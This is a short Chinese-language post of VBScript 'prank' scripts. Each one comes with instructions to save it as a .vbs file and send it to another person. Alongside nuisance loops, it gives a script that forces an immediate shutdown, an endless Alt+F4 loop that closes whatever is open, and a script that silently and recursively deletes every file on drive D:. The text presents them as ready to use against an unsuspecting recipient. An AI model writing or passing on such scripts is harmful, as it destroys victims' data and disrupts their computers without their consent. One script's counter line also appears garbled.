复制以下代码；粘贴到记事本，另存为，XXX.VBS。然后在发给对方。
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
二、双击运行后直接就关机。
复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
三、删除D:\所有文件
复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
四、不断弹出窗口
复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。
while(1)
msgbox "哈哈 你被耍了！"
loop
不断按下alt f4 （开什么都关闭……）
复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ，500可以随意更改)
复制以下代码；粘贴到记事本，另存为，XXX.vbs。然后在发给对方。
dim s
do until s=500
s=s 1
msgbox "哥们，给我按500次回车吧",64
loop
